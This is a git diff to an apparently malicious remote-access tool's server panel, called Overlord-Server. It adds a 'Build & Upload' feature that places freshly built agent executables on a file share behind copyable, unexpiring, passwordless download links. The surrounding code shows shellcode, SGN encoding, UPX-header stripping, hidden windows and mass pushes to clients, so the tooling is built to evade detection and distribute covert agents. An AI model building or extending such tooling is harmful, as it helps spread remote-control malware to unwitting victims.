diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index fa4b5c0..4cf2030 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -1584,6 +1584,7 @@ form?.addEventListener("submit", async (e) => {
     shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
     useSgn: document.getElementById("sgn-mode")?.checked || false,
     sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
+    uploadToFileShare: pendingUpload,
   };
 
   const hasAndroid = platforms.some(p => p.startsWith('android-'));
@@ -1637,6 +1638,10 @@ async function startBuild(config) {
     buildUpdateAllBtn.disabled = true;
     buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
   }
+  if (buildUploadBtn) {
+    buildUploadBtn.disabled = true;
+    buildUploadBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
+  }
 
   buildStatus.classList.remove("hidden");
   buildStatusText.textContent = "Starting build...";
@@ -1693,6 +1698,11 @@ async function startBuild(config) {
       buildUpdateAllBtn.disabled = false;
       buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-arrow-up-from-bracket"></i> <span>Build & Update All</span>';
     }
+    if (buildUploadBtn) {
+      buildUploadBtn.disabled = false;
+      buildUploadBtn.innerHTML = '<i class="fa-solid fa-cloud-arrow-up"></i> <span>Build & Upload</span>';
+    }
+    pendingUpload = false;
   }
 }
 
@@ -1711,6 +1721,7 @@ async function streamBuildOutput(buildId, config = {}) {
   const RECONNECT_DELAY_MS = 2000;
   let attempts = 0;
   let completed = false;
+  const uploadedShareFiles = [];
 
   while (!completed && attempts <= MAX_RECONNECT_ATTEMPTS) {
     if (attempts > 0) {
@@ -1814,6 +1825,13 @@ async function streamBuildOutput(buildId, config = {}) {
               addBuildOutput(data.text, data.level || "info");
             } else if (data.type === "status") {
               buildStatusText.textContent = data.text;
+            } else if (data.type === "file_share_uploaded") {
+              uploadedShareFiles.push({
+                id: data.id,
+                filename: data.filename,
+                platform: data.platform,
+                size: data.size,
+              });
             } else if (data.type === "complete") {
               buildStatusText.textContent = data.success
                 ? "Build completed successfully!"
@@ -1845,6 +1863,10 @@ async function streamBuildOutput(buildId, config = {}) {
                 buildResults.classList.remove("hidden");
                 displayBuild(buildData);
 
+                if (uploadedShareFiles.length > 0) {
+                  renderShareLinksPanel(uploadedShareFiles);
+                }
+
                 // Auto-push update if "Build & Update All" was used
                 if (pendingUpdateAll) {
                   pendingUpdateAll = false;
@@ -1919,6 +1941,68 @@ function addBuildOutput(text, level = "info") {
   buildOutputDiv.appendChild(span);
 }
 
+function renderShareLinksPanel(items) {
+  const existing = document.getElementById("build-share-links");
+  if (existing) existing.remove();
+
+  const panel = document.createElement("div");
+  panel.id = "build-share-links";
+  panel.className =
+    "mt-3 p-3 bg-emerald-950/30 border border-emerald-700/50 rounded-lg space-y-2";
+
+  const header = document.createElement("div");
+  header.className = "flex items-center gap-2 text-sm font-medium text-emerald-300";
+  header.innerHTML =
+    '<i class="fa-solid fa-cloud-arrow-up"></i><span>Uploaded to File Share</span>' +
+    `<span class="text-xs text-slate-400 font-normal">(${items.length})</span>`;
+  panel.appendChild(header);
+
+  for (const item of items) {
+    const url = `${window.location.origin}/api/file-share/${item.id}/download`;
+
+    const row = document.createElement("div");
+    row.className = "flex items-center gap-2 text-xs";
+
+    const label = document.createElement("span");
+    label.className = "text-slate-400 shrink-0";
+    label.textContent = item.platform || item.filename;
+
+    const input = document.createElement("input");
+    input.type = "text";
+    input.readOnly = true;
+    input.value = url;
+    input.className =
+      "flex-1 bg-slate-900 border border-slate-700 rounded px-2 py-1 text-slate-200 font-mono select-all";
+    input.addEventListener("focus", () => input.select());
+
+    const copyBtn = document.createElement("button");
+    copyBtn.type = "button";
+    copyBtn.className =
+      "px-2 py-1 rounded bg-emerald-700 hover:bg-emerald-600 text-white text-xs flex items-center gap-1 shrink-0";
+    copyBtn.innerHTML = '<i class="fa-solid fa-copy"></i><span>Copy</span>';
+    copyBtn.addEventListener("click", async () => {
+      try {
+        await navigator.clipboard.writeText(url);
+        copyBtn.innerHTML = '<i class="fa-solid fa-check"></i><span>Copied</span>';
+        if (window.showToast) window.showToast("Download link copied to clipboard", "success");
+        setTimeout(() => {
+          copyBtn.innerHTML = '<i class="fa-solid fa-copy"></i><span>Copy</span>';
+        }, 1500);
+      } catch {
+        input.select();
+        document.execCommand?.("copy");
+      }
+    });
+
+    row.appendChild(label);
+    row.appendChild(input);
+    row.appendChild(copyBtn);
+    panel.appendChild(row);
+  }
+
+  buildFilesDiv.appendChild(panel);
+}
+
 function showBuildFiles(files, buildId, expiresAt) {
   buildResults.classList.remove("hidden");
   buildFilesDiv.innerHTML = "";
@@ -2332,6 +2416,8 @@ const updateAllConfirm = document.getElementById("update-all-confirm");
 
 let pendingUpdateAll = false;
 let pendingUpdateHideWindow = false;
+let pendingUpload = false;
+const buildUploadBtn = document.getElementById("build-upload-btn");
 
 function showUpdateAllModal() {
   if (!updateAllModal) return;
@@ -2428,6 +2514,19 @@ if (updateAllConfirm) {
   });
 }
 
+if (buildUploadBtn) {
+  buildUploadBtn.addEventListener("click", () => {
+    if (isBuilding) return;
+    const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
+    if (platformCheckboxes.length === 0) {
+      alert("Please select at least one platform to build");
+      return;
+    }
+    pendingUpload = true;
+    form.requestSubmit();
+  });
+}
+
 async function pushUpdateToAllClients(buildId, hideWindow) {
   addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
 
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index 49c0a78..0957f0b 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -761,6 +761,12 @@
                   <i class="fa-solid fa-arrow-up-from-bracket"></i>
                   <span>Build &amp; Update All</span>
                 </button>
+
+                <button type="button" id="build-upload-btn"
+                  class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
+                  <i class="fa-solid fa-cloud-arrow-up"></i>
+                  <span>Build &amp; Upload</span>
+                </button>
               </div>
             </form>
           </div>
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 6a4205b..5fe2546 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -251,6 +251,7 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
   runBuildProcess(buildId, buildConfig, {
     generateBuildMutex,
     sanitizeOutputName,
+    fileShareRoot: FILE_SHARE_ROOT,
   });
 
 const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 57c9443..01d43c3 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -2,7 +2,8 @@ import { $ } from "bun";
 import path from "path";
 import fs from "fs";
 import { v4 as uuidv4 } from "uuid";
-import { saveBuild } from "../db";
+import { saveBuild, insertSharedFile, type SharedFileRecord } from "../db";
+import { getUserById, canUploadFiles } from "../users";
 import { logger } from "../logger";
 import { getConfig } from "../config";
 import { signBuildToken } from "./build-signing";
@@ -117,6 +118,7 @@ type BuildProcessConfig = {
   solRpcEndpoints?: string;
   iosBundleId?: string;
   fetchPublicIP?: boolean;
+  uploadToFileShare?: boolean;
 };
 
 
@@ -148,8 +150,128 @@ function stripUpxHeaders(filePath: string): boolean {
 type BuildProcessDeps = {
   generateBuildMutex: (length?: number) => string;
   sanitizeOutputName: (name: string) => string;
+  fileShareRoot?: string;
 };
 
+function guessMimeTypeForUpload(filename: string): string {
+  const ext = path.extname(filename).toLowerCase();
+  switch (ext) {
+    case ".exe":
+    case ".dll":
+    case ".scr":
+    case ".com":
+    case ".pif":
+      return "application/vnd.microsoft.portable-executable";
+    case ".bat":
+    case ".cmd":
+      return "application/bat";
+    case ".bin":
+      return "application/octet-stream";
+    case ".ipa":
+      return "application/octet-stream";
+    case ".sgn":
+      return "application/octet-stream";
+    default:
+      return "application/octet-stream";
+  }
+}
+
+async function uploadBuildFilesToFileShare(
+  build: BuildStream,
+  outDir: string,
+  fileShareRoot: string,
+  userId: number,
+  sendToStream: (data: any) => void,
+): Promise<void> {
+  const dbUser = getUserById(userId);
+  if (!dbUser) {
+    sendToStream({
+      type: "output",
+      text: "WARNING: Skipping file-share upload — uploading user not found.\n",
+      level: "warn",
+    });
+    return;
+  }
+  if (!canUploadFiles(dbUser.id, dbUser.role)) {
+    sendToStream({
+      type: "output",
+      text: "WARNING: Skipping file-share upload — you do not have upload permission.\n",
+      level: "warn",
+    });
+    return;
+  }
+
+  await fs.promises.mkdir(fileShareRoot, { recursive: true });
+
+  sendToStream({ type: "status", text: "Uploading build to file share..." });
+  sendToStream({
+    type: "output",
+    text: `\n── Uploading ${build.files.length} file(s) to file share ──\n`,
+    level: "info",
+  });
+
+  for (const file of build.files as any[]) {
+    const filename: string = file.filename || file.name;
+    if (!filename) continue;
+    const sourcePath = path.join(outDir, filename);
+    if (!fs.existsSync(sourcePath)) {
+      sendToStream({
+        type: "output",
+        text: `WARNING: Build output not found on disk for upload: ${filename}\n`,
+        level: "warn",
+      });
+      continue;
+    }
+    try {
+      const id = uuidv4();
+      const folder = path.join(fileShareRoot, id);
+      await fs.promises.mkdir(folder, { recursive: true });
+      const targetPath = path.join(folder, filename);
+      await fs.promises.copyFile(sourcePath, targetPath);
+      const size = fs.statSync(targetPath).size;
+
+      const record: SharedFileRecord = {
+        id,
+        filename,
+        storedPath: targetPath,
+        size,
+        mimeType: guessMimeTypeForUpload(filename),
+        uploadedBy: dbUser.id,
+        uploadedByUsername: dbUser.username,
+        passwordHash: null,
+        maxDownloads: null,
+        downloadCount: 0,
+        expiresAt: null,
+        createdAt: Date.now(),
+        description: `Build ${build.id.substring(0, 8)} — ${file.platform || "unknown"}`,
+      };
+      insertSharedFile(record);
+
+      logger.info(
+        `[file-share] ${dbUser.username} uploaded "${filename}" (${size} bytes) id=${id} via build ${build.id.substring(0, 8)}`,
+      );
+      sendToStream({
+        type: "output",
+        text: `Uploaded ${filename} (${size} bytes) → file share id ${id}\n`,
+        level: "success",
+      });
+      sendToStream({
+        type: "file_share_uploaded",
+        id,
+        filename,
+        platform: file.platform || null,
+        size,
+      });
+    } catch (err: any) {
+      sendToStream({
+        type: "output",
+        text: `WARNING: Failed to upload ${filename} to file share: ${err.message || err}\n`,
+        level: "warn",
+      });
+    }
+  }
+}
+
 function detectAgentVersion(clientDir: string): string {
   try {
     const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go");
@@ -1267,6 +1389,31 @@ func runBoundFiles() {
     build.status = "completed";
     logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
     sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
+
+    if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
+      try {
+        await uploadBuildFilesToFileShare(
+          build,
+          outDir,
+          deps.fileShareRoot,
+          config.builtByUserId,
+          sendToStream,
+        );
+      } catch (uploadErr: any) {
+        sendToStream({
+          type: "output",
+          text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
+          level: "warn",
+        });
+      }
+    } else if (config.uploadToFileShare && !deps.fileShareRoot) {
+      sendToStream({
+        type: "output",
+        text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
+        level: "warn",
+      });
+    }
+
     sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
 
     saveBuild({
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 6ee2d21..1b2cefb 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -24,6 +24,7 @@ import { logger } from "../../logger";
 import { normalizeClientOs } from "../deploy-utils";
 import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit";
 import { getConfig } from "../../config";
+import { canUploadFiles } from "../../users";
 import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing";
 import path from "path";
 import fs from "fs";
@@ -118,6 +119,7 @@ export async function handleBuildRoutes(
         useSgn,
         sgnIterations,
         fetchPublicIP,
+        uploadToFileShare,
       } = body;
 
       if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -345,6 +347,14 @@ export async function handleBuildRoutes(
         safeBoundFiles = validated;
       }
 
+      const safeUploadToFileShare = !!uploadToFileShare;
+      if (safeUploadToFileShare && !canUploadFiles(user.userId, user.role)) {
+        return Response.json(
+          { error: "You do not have permission to upload files" },
+          { status: 403 },
+        );
+      }
+
       const rateLimitActive = getConfig().registration.mode !== "off";
       if (rateLimitActive) recordBuildStart(user.userId);
 
@@ -392,6 +402,7 @@ export async function handleBuildRoutes(
         useSgn: !!useSgn,
         sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
         fetchPublicIP: !!fetchPublicIP,
+        uploadToFileShare: safeUploadToFileShare,
       }).finally(() => {
         if (rateLimitActive) recordBuildEnd(user.userId);
       });